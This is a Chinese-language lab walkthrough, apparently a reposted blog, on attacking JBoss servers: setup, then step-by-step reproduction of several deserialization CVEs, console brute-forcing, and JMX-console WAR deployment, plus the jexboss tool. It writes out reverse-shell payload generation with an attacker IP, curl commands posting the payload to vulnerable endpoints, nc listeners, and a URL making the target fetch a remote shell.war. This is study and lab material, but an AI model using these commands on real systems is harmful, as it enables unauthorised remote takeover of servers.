中間件安全之JBoss滲透


一、JBoss介紹

JBoss是一個基於J2EE的開放源代碼的應用服務器。 JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。Jboss_百度百科 (baidu.com)

EJB 是運行在獨立服務器上的組件,客戶端是通過網絡對EJB 對象進行調用。變成大白話就是,"把你編寫的軟件中那些需要執行制定的任務的類,不放到客戶端軟件上了,而是給他打成包放到一個服務器上了"。

中間件是一個獨立的系統軟件或服務程序,為應用程序提供合作互通、資源共享等服務。

Servlet 是運行在 Web 服務器上的程序,是客戶端和服務器之間的中間層,用於處理請求的邏輯 (類似CGI)
Tomcat下Servlet與CGI區別和內容
servlet的本質是什么,它是如何工作的?

1、下載安裝啟動配置

0x01 JDK安裝

JDK版本:1.6 ~ 1.7

默認下一步即可

0x02 JBoss安裝

配置兩台虛擬機,一台安裝6.0,一台安裝4.0

下載地址:JBoss Application Server Downloads - JBoss Community

JBoss4以下用JDK6
JBoss5~7用JDK7

0x03 JBoss環境變量

1)新建系統變量JBOSS_HOME

g9E1r4.png

2)在path最后中加入

;%JBOSS_HOME%\bin;

g9EnP0.png

0x04 啟動JBoss

雙擊run.bat即可

0x05 配置JBoss

設置外網可以訪問,路徑C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

g9EMxU.png

重啟即可

對於JBoss4版本,C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer\server.xml

g9ElMF.png

2、目錄介紹

JBoss默認部署路徑:C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

網站位置:C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

二、JBoss漏洞分析及復現

目前而言,以下漏洞都是復現操作為主,原理由於本人還太菜,未來再回來補充【4.26】

1、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

命令執行、getshell

0x01 漏洞概述

該漏洞位於JBossHttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,獲得服務器的控制權。

影響版本:

  • JbossAS 5.x
  • JbossAS 6.x

0x02 復現操作

實驗靶機IP192.168.112.148

1)驗證漏洞存在|漏洞指紋

訪問http://192.168.112.148:8080/invoker/readonly頁面,回顯500表示存在

g9EK2T.png

2)安裝javac

用於java編譯這塊

java javac等混淆概念:(8條消息) 一文搞懂JDK8與Java1.8的區別_非著名運維的博客-CSDN博客

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

3)工具下載

下載地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

4)開啟監聽

nc -vlp 8888

g9EuGV.png

5)一系列操作

這部分底層原理留給日后回來研究【4.26】,現在只能依葫蘆畫瓢

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.112.132:8888

# 以二進制格式發送.ser包
curl http://192.168.112.148:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

g9E6II.png

g9EsZd.png

0x03 漏洞原理分析

JBoss反序列化漏洞分析

漏洞出現在 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中,源碼在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class文件中,其中doFilter函數代碼如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    throws IOException, ServletException
  {
    HttpServletRequest httpRequest = (HttpServletRequest)request;
    Principal user = httpRequest.getUserPrincipal();
    if ((user == null) && (this.readOnlyContext != null))
    {
      ServletInputStream sis = request.getInputStream();
      ObjectInputStream ois = new ObjectInputStream(sis);
      MarshalledInvocation mi = null;
      try
      {
        mi = (MarshalledInvocation)ois.readObject();
      }
      catch (ClassNotFoundException e)
      {
        throw new ServletException("Failed to read MarshalledInvocation", e);
      }
      request.setAttribute("MarshalledInvocation", mi);

      mi.setMethodMap(this.namingMethodMap);
      Method m = mi.getMethod();
      if (m != null) {
        validateAccess(m, mi);
      }
    }
    chain.doFilter(request, response);
  }

可以看到其直接從http中獲取數據,在沒有進行檢查或者過濾的情況下,嘗試調用readobject()方法對數據流進行反序列操作,因此產生了Java反序列化漏洞。

2、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

getshell

0x01 漏洞概述

該漏洞的產生是由於JBoss/invoker/JMXInvokerServlet 請求中讀取了用戶傳入的對象,利用 Apache Commons Collections 中的 Gadget 執行任意代碼

0x02 復現操作

實驗靶機IP192.168.112.148

1)驗證漏洞存在|漏洞指紋

訪問頁面http://192.168.112.148:8080/invoker/JMXInvokerServlet,回顯如下的消息則含有該漏洞

g9EDqH.png

2)開啟監聽

nc -lvp 8888

3)使用工具直接攻擊

這部分底層原理留給日后回來研究【4.26】,現在只能依葫蘆畫瓢

工具和上面漏洞1的一樣

curl http://192.168.112.148:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

g9EydA.png

0x03 漏洞分析

JBoss JMXInvokerServlet 反序列化漏洞分析 - 從0開始學習Java反序列化 (4) | whip1ash

0x04 修復建議

刪除http-invoker.sar組件,路徑在:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,刪除后再訪問http://192.168.112.148:8080/invoker/JMXInvokerServlet,返回404

3、JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

getshell

0x01 漏洞概述

JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利⽤該漏洞執⾏任意代碼。

影響版本:

JBoss AS 4.0及之前

0x02 復現操作

1)驗證漏洞存在|漏洞指紋

訪問http://192.168.112.147:8080/jbossmq-httpil/HTTPServerILServlet,回顯如下頁面則有漏洞

g9ViJx.png

2)執行攻擊

使用之前生成的.ser文件,通過POST 二進制數據上去,反向連接shell,需要先開監聽

curl http://192.168.112.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

g9VrlT.png

4、JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

getshell

0x01 影響版本

JBoss6.x以上

0x02 復現操作

1)漏洞指紋

訪問http://192.168.112.148:8080/invoker/EJBInvokerServlet,如下圖則存在該漏洞

g9VPF1.png

2)執行攻擊

使用之前生成的.ser文件,通過POST 二進制數據上去,反向連接shell,需要先開監聽

curl http://192.168.112.148:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

g9VFW6.png

反序列化文章:

淺析反序列化POC - FreeBuf網絡安全行業門戶

5、Administration Console 弱口令

后台getshell

0x01 環境配置

環境為JBoss6

0x02 密碼信息

密碼信息保存在\server\default\conf

0x03 復現操作

1)登陸進后台

g9ExL4.png

2)上傳war文件

g9VSeJ.png

g9EvyF.png

g9Vpw9.png

3)冰蠍連接

g9VyXF.png

0x04 Burp Suite爆破

1)查看數據傳輸格式

g9Vcm4.png

2)選擇爆破模式和爆破的位置

g9VwYq.png

3)載入payload

這里測試,隨便寫了密碼賬號文件

g9VDpV.png

g9V0f0.png

4)執行攻擊,找到不同的包

g9Vs6U.png

6、JMX Console未授權訪問漏洞

后台部署文件、getshell

0x01 漏洞概述

在默認未配置的情況下,可以訪問/jmx-console目錄,並部署相關war包,部署的war包在本地的路徑為:
JBoss AS 6.x:C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
JBoss AS 4.x:C:\jboss-4.2.3.GA\server\default\work\jboss.web\localhost

0x02 復現操作

Ⅰ. 4.x版本漏洞復現

1)前往部署頁面

http://192.168.112.147:8080/jmx-console/

打開jmx-console界面,找到jboss.deployment,點擊下面的URL

gCbqx0.png

2)上傳、部署war包

kali上開啟小型服務器,通過kali上傳shell.war包(實際情況是在vps上開啟此功能)

gCb7Ps.png

找到void addURL()一欄,填入http://192.168.112.132/shell.war

gCbOMV.png

還是在剛剛那界面,最上面點擊Apply Changes

gCbXrT.png

3)war包部署成功

gCbjqU.png

4)上線冰蠍

gCbHGn.png

Ⅱ. 6.x版本漏洞復現

操作類似

上傳、部署

http://192.168.112.148:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.112.132/shell2.war

gCbo5j.png

上線冰蠍

gCbb2q.png

三、jexboss自動化JBoss滲透

JexBoss是一個用於測試和利用JBoss應用服務器和其他Java平台、框架、應用程序等漏洞的工具。

下載地址:
joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)

JexBoss工具報告:JexBoss – JBoss Verify and EXploitation Tool | CISA

1)環境配置

# python > 2.7.x
python2 --version

# 安裝 pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py      

2)執行腳本

python jexboss.py -host http://192.168.112.147:8080 

g9ZSc8.png

3)輸入自動化滲透目標

這里JBoss為本地搭建的4.0版本

g9ZpjS.png

4)得到shell

g9ZCng.png


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM